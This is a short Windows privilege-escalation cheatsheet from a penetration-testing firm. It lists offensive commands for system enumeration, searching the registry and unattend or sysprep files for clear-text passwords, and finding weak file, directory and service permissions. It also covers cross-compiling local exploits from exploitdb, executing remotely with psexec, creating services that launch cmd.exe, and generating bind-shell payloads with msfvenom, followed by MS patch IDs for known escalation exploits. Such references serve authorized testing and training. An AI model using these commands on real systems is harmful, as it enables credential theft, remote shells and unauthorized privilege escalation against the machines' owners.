Exumbra Operations Group LLC

CALIFORNIA

Penetration Testing 102 - Windows Privilege Escalation Cheatsheet

OS and service pack

- *systeminfo | findstr /B /C:"OS Name" /C:"OS Version"*
- *ver*

System name

- *hostname*

Who are you?

- *whoami*
- *echo %username%*

Finding other users

- *net users*
- *net user username*

Clear-text passwords

- *c:\unattend.txt*
- *c:\sysprep.ini - [Clear Text]*
- *c:\sysprep\sysprep.xml - [Base64]*
- *findstr /si password *.txt | *.xml | *.ini*
- *reg query HKLM /s | findstr /i password > temp.txt*
- *reg query HKCU /s | findstr /i password > temp.txt*
- *reg query HKLM /f password /t REG_SZ /s*
- *reg query HKCU /f password /t REG_SZ /s*

Finding weak directory permissions

- *accesschk.exe /accepteula*
- *accesschk.exe -uwdqs users c:*
- *accesschk.exe -uwdqs "Authenticated Users" c:*

Finding weak file permissions

- *accesschk.exe -uwqs users c:*.**
- *accesschk.exe -uwqs "Authenticated Users" c:*.**
- *cacls "c:\Program Files" /T | findstr Users*

Weak Service permissions

- *accesschk.exe –uwcqv **

Cross compile exploits

- *cp /usr/share/exploitdb/platforms/windows/local/<exploit>.c /tmp/*
- *cd /root/.wine/drive_c/MinGW/bin*
- *wine gcc –o woot.exe /tmp/<exploit>.c -l lib*

PSexec

- *psexec.py <user>@<host> <cmd>*
- *psexec.exe \\<host> <cmd>*

Services

- *sc create <servicename> binpath= "c:\windows\system32\cmd.exe /k <pathtobinaryexecutable>" DisplayName= <displayname>*
- *sc start <servicename>*

Creating bind shells

- *msfvenom -p windows/shell_bind_tcp -f exe -o <Filename.exe> LPORT=<BindPort>*
- *msfvenom -p windows/shell_bind_tcp -f dll -o <Filename.dll> LPORT=<BindPort>*

Privilege Escalation Exploits by Patch

- *MS10-015*
- *MS10-059*
- *MS10-092*
- *MS11-080*
- *MS13-005*
- *CVE-2013-3660*
- *MS13-053*
- *MS13-081*
- *MS14-058*
- *MS14-068*
- *MS14-070*
- *MS15-001*
- *MS15-051*
- *MS15-052*

Exumbra Operations Group | contact@exumbraops.com